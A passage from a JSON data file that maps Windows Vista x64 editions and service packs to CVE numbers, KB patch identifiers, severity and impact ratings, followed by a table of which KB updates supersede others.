Execution\"},{\"cve\":\"CVE-2015-2455\",\"kb\":\"3072303\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2456\",\"kb\":\"3072303\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2458\",\"kb\":\"3072303\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2459\",\"kb\":\"3072303\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2460\",\"kb\":\"3072303\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2462\",\"kb\":\"3072303\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2463\",\"kb\":\"3072303\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2464\",\"kb\":\"3072303\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2502\",\"kb\":\"3087985\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2507\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2509\",\"kb\":\"3087918\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2512\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2524\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2525\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2527\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2552\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2553\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2554\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-6100\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6101\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6103\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6104\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6127\",\"kb\":\"3108669\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6131\",\"kb\":\"3108669\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6132\",\"kb\":\"3108371\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6152\",\"kb\":\"3104002\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0006\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0007\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0015\",\"kb\":\"3110329\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0016\",\"kb\":\"3110329\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0040\",\"kb\":\"3126587\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0063\",\"kb\":\"3134814\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0099\",\"kb\":\"3139914\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0189\",\"kb\":\"3158991\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0199\",\"kb\":\"3160005\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3237\",\"kb\":\"3167679\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185319\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3197655\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7255\",\"kb\":\"3194371\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0005\",\"kb\":\"4012497\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0022\",\"kb\":\"3216916\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0045\",\"kb\":\"3205715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0101\",\"kb\":\"4011981\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0143\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0144\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0145\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0146\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0147\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0148\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0199\",\"kb\":\"4014793\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Windows Vista x64 Edition\":[{\"cve\":\"CVE-2008-0015\",\"kb\":\"973507\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4037\",\"kb\":\"957097\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4114\",\"kb\":\"958687\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4844\",\"kb\":\"960714\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3023\",\"kb\":\"975254\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3103\",\"kb\":\"975517\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3672\",\"kb\":\"976325\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3676\",\"kb\":\"980232\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0232\",\"kb\":\"977165\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-0249\",\"kb\":\"978207\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0483\",\"kb\":\"981349\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Windows Vista x64 Edition Service Pack 1\":[{\"cve\":\"CVE-2008-0015\",\"kb\":\"973507\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4037\",\"kb\":\"957097\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4114\",\"kb\":\"958687\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4844\",\"kb\":\"960714\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3023\",\"kb\":\"975254\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3103\",\"kb\":\"975517\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3555\",\"kb\":\"980436\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3672\",\"kb\":\"976325\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3676\",\"kb\":\"980232\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0232\",\"kb\":\"977165\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-0249\",\"kb\":\"978207\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0255\",\"kb\":\"982381\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0483\",\"kb\":\"981349\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0816\",\"kb\":\"978542\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-2549\",\"kb\":\"981957\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-2568\",\"kb\":\"2286198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3145\",\"kb\":\"2478935\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3147\",\"kb\":\"2423089\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3227\",\"kb\":\"2387149\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3324\",\"kb\":\"2360131\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3332\",\"kb\":\"2418240\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2010-3970\",\"kb\":\"2483185\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3971\",\"kb\":\"2482017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3972\",\"kb\":\"2489256\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3973\",\"kb\":\"2508272\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-4398\",\"kb\":\"2393802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-4701\",\"kb\":\"2491683\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-0096\",\"kb\":\"2503658\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2011-0654\",\"kb\":\"2511455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-1271\",\"kb\":\"2518870\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Windows Vista x64 Edition Service Pack 2\":[{\"cve\":\"CVE-2008-0015\",\"kb\":\"973507\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3023\",\"kb\":\"975254\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3103\",\"kb\":\"975517\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3555\",\"kb\":\"980436\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3672\",\"kb\":\"976325\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3676\",\"kb\":\"980232\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0232\",\"kb\":\"977165\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-0249\",\"kb\":\"978207\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0255\",\"kb\":\"982381\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0483\",\"kb\":\"981349\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0816\",\"kb\":\"978542\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-2549\",\"kb\":\"981957\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-2568\",\"kb\":\"2286198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3145\",\"kb\":\"2478935\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3147\",\"kb\":\"2423089\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3227\",\"kb\":\"2387149\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3324\",\"kb\":\"2360131\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3332\",\"kb\":\"2418240\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2010-3970\",\"kb\":\"2483185\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3971\",\"kb\":\"2482017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3972\",\"kb\":\"2489256\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3973\",\"kb\":\"2508272\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-4398\",\"kb\":\"2393802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-4701\",\"kb\":\"2491683\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-0096\",\"kb\":\"2503658\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2011-0654\",\"kb\":\"2511455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-1271\",\"kb\":\"2518870\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-5046\",\"kb\":\"2660465\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-1300\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-1347\",\"kb\":\"2847204\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3660\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3893\",\"kb\":\"2879017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3906\",\"kb\":\"2901674\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-5045\",\"kb\":\"2898785\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-7331\",\"kb\":\"2977629\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0295\",\"kb\":\"2898869\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-0307\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0322\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-1776\",\"kb\":\"2964358\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4113\",\"kb\":\"3000061\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4114\",\"kb\":\"3000869\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6321\",\"kb\":\"2992611\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6332\",\"kb\":\"3006226\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0004\",\"kb\":\"3021674\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0010\",\"kb\":\"3013455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0016\",\"kb\":\"3023299\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1701\",\"kb\":\"3045171\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1722\",\"kb\":\"3057839\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2426\",\"kb\":\"3079904\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2433\",\"kb\":\"3072310\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2455\",\"kb\":\"3072310\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2456\",\"kb\":\"3072310\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2458\",\"kb\":\"3072310\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2459\",\"kb\":\"3072310\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2460\",\"kb\":\"3072310\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2462\",\"kb\":\"3072310\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2463\",\"kb\":\"3072310\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2464\",\"kb\":\"3072310\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2502\",\"kb\":\"3087985\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2507\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2509\",\"kb\":\"3087918\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2512\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2524\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2525\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2527\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2552\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2553\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2554\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-6100\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6101\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6103\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6104\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6127\",\"kb\":\"3108669\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6131\",\"kb\":\"3108669\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6132\",\"kb\":\"3108371\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6152\",\"kb\":\"3104002\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0006\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0007\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0015\",\"kb\":\"3121918\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0016\",\"kb\":\"3121918\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0040\",\"kb\":\"3126593\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0063\",\"kb\":\"3134814\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0099\",\"kb\":\"3139914\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0189\",\"kb\":\"3158991\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0199\",\"kb\":\"3160005\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3237\",\"kb\":\"3167679\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185319\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3197655\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7255\",\"kb\":\"3194371\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0005\",\"kb\":\"4012497\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0022\",\"kb\":\"3216916\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0045\",\"kb\":\"3205715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0101\",\"kb\":\"4011981\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0143\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0144\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0145\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0146\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0147\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0148\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0199\",\"kb\":\"4014793\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}]},\"kb_supersedes\":{\"2079403\":[\"955069\"],\"2121546\":[\"930178\"],\"2124261\":[\"942830\"],\"2160329\":[\"979559\"],\"2183461\":[\"982381\"],\"2207566\":[\"980436\"],\"2279986\":[\"980218\"],\"2286198\":[\"943460\"],\"2296199\":[\"2279986\",\"980218\"],\"2345304\":[\"983444\"],\"2360131\":[\"2183461\"],\"2360937\":[\"982802\"],\"2378111\":[\"979402\"],\"2387149\":[\"924667\"],\"2393802\":[\"981852\"],\"2412687\":[\"958869\"],\"2416400\":[\"2360131\"],\"2416447\":[\"979906\"],\"2416469\":[\"972593\"],\"2424434\":[\"981997\"],\"2436673\":[\"981957\"],\"2446704\":[\"983583\"],\"2446708\":[\"2160841\"],\"2446709\":[\"983590\"],\"2447961\":[\"954156\",\"979332\"],\"2449741\":[\"983588\"],\"2449742\":[\"983589\"],\"2475792\":[\"981332\"],\"2476490\":[\"947890\"],\"2476687\":[\"978037\"],\"2478953\":[\"2207559\",\"981550\",\"982000\"],\"2478960\":[\"943485\"],\"2478971\":[\"977290\"],\"2479628\":[\"2436673\"],\"2481109\":[\"956744\"],\"2482017\":[\"2416400\"],\"2483185\":[\"2286198\"],\"2483618\":[\"958469\"],\"2485376\":[\"2296199\"],\"2485663\":[\"2259922\"],\"2493987\":[\"2345304\"],\"2497640\":[\"2482017\"],\"2503665\":[\"956803\"],\"2506223\":[\"2479628\"],\"2507618\":[\"2485376\"],\"2507938\":[\"2121546\",\"2476687\"],\"2508272\":[\"980195\"],\"2508429\":[\"982214\"],\"2509553\":[\"945553\",\"951748\",\"956803\"],\"2510531\":[\"971961\",\"981332\"],\"2510581\":[\"971961\",\"981349\"],\"2510587\":[\"971961\",\"981350\"],\"2511455\":[\"980232\"],\"2518863\":[\"983587\"],\"2518864\":[\"2446704\",\"983583\"],\"2518865\":[\"2449741\",\"983588\"],\"2518866\":[\"2449742\"],\"2518867\":[\"2446709\"],\"2518869\":[\"2446710\"],\"2518870\":[\"2446708\"],\"2524426\":[\"969883\"],\"2525694\":[\"2506223\"],\"2525835\":[\"2345316\"],\"2530095\":[\"983582\"],\"2530548\":[\"2497640\"],\"2536275\":[\"2508429\",\"975517\"],\"2536276\":[\"2511455\"],\"2539631\":[\"2478658\"],\"2539633\":[\"2478660\"],\"2539634\":[\"2478661\"],\"2539635\":[\"2478662\"],\"2539636\":[\"2478663\"],\"2544521\":[\"938127\"],\"2544893\":[\"2503658\"],\"2555917\":[\"2506223\",\"2525694\"],\"2556532\":[\"981852\"],\"2559049\":[\"2530548\"],\"2562485\":[\"961063\"],\"2563894\":[\"978886\"],\"2564958\":[\"2476490\"],\"2567053\":[\"2555917\"],\"2567680\":[\"2121546\",\"2507938\"],\"2571621\":[\"2524426\"],\"2572066\":[\"953295\"],\"2572067\":[\"2416447\"],\"2572069\":[\"953298\"],\"2572073\":[\"983583\"],\"2572075\":[\"983589\"],\"2585542\":[\"980436\"],\"2586448\":[\"2559049\"],\"2588516\":[\"2563894\"],\"2592799\":[\"2503665\"],\"2596911\":[\"2493987\"],\"2601626\":[\"981550\"],\"2604042\":[\"2572066\"],\"2604044\":[\"2656353\"],\"2604078\":[\"2572069\"],\"2604092\":[\"2518864\",\"2572073\",\"2633880\"],\"2604094\":[\"2518866\",\"2572075\",\"2633874\"],\"2604114\":[\"2518867\",\"2572076\",\"2633879\"],\"2604115\":[\"2518869\",\"2572077\",\"2633873\"],\"2604121\":[\"2518870\",\"2572078\",\"2633870\"],\"2616310\":[\"982000\"],\"2617657\":[\"2567053\"],\"2618444\":[\"2586448\"],\"2618451\":[\"2508272\"],\"2620712\":[\"2476687\"],\"2621146\":[\"2601626\"],\"2621440\":[\"2570222\"],\"2626416\":[\"2616310\"],\"2631813\":[\"975562\"],\"2633171\":[\"981852\"],\"2633870\":[\"2539636\"],\"2633873\":[\"2539635\"],\"2633874\":[\"2539633\"],\"2633879\":[\"2539634\"],\"2633880\":[\"2539631\"],\"2636927\":[\"2636927\",\"2690729\"],\"2639417\":[\"2567053\",\"2617657\"],\"2641653\":[\"2660465\"],\"2645640\":[\"2503665\",\"2592799\"],\"2646524\":[\"2567680\"],\"2647170\":[\"2562485\"],\"2647516\":[\"2618444\"],\"2653956\":[\"978601\"],\"2655992\":[\"2585542\"],\"2656351\":[\"2416472\"],\"2656352\":[\"2418241\"],\"2656353\":[\"2572067\"],\"2656355\":[\"2416471\"],\"2656358\":[\"2572069\"],\"2656362\":[\"2416470\"],\"2657424\":[\"2416473\"],\"2658846\":[\"2665364\"],\"2659262\":[\"2412687\"],\"2660465\":[\"2639417\"],\"2675157\":[\"2647516\"],\"2676562\":[\"2641653\"],\"2685939\":[\"2570222\",\"2621440\"],\"2688338\":[\"2588516\"],\"2690729\":[\"2668562\"],\"2691442\":[\"2286198\"],\"2698023\":[\"2656353\"],\"2698032\":[\"2572069\"],\"2698035\":[\"2572066\"],\"2699988\":[\"2675157\"],\"2705219\":[\"958644\"],\"2706045\":[\"2510531\"],\"2707511\":[\"2556532\",\"2633171\"],\"2709162\":[\"2641653\"],\"2709715\":[\"2556532\"],\"2712808\":[\"961501\"],\"2716513\":[\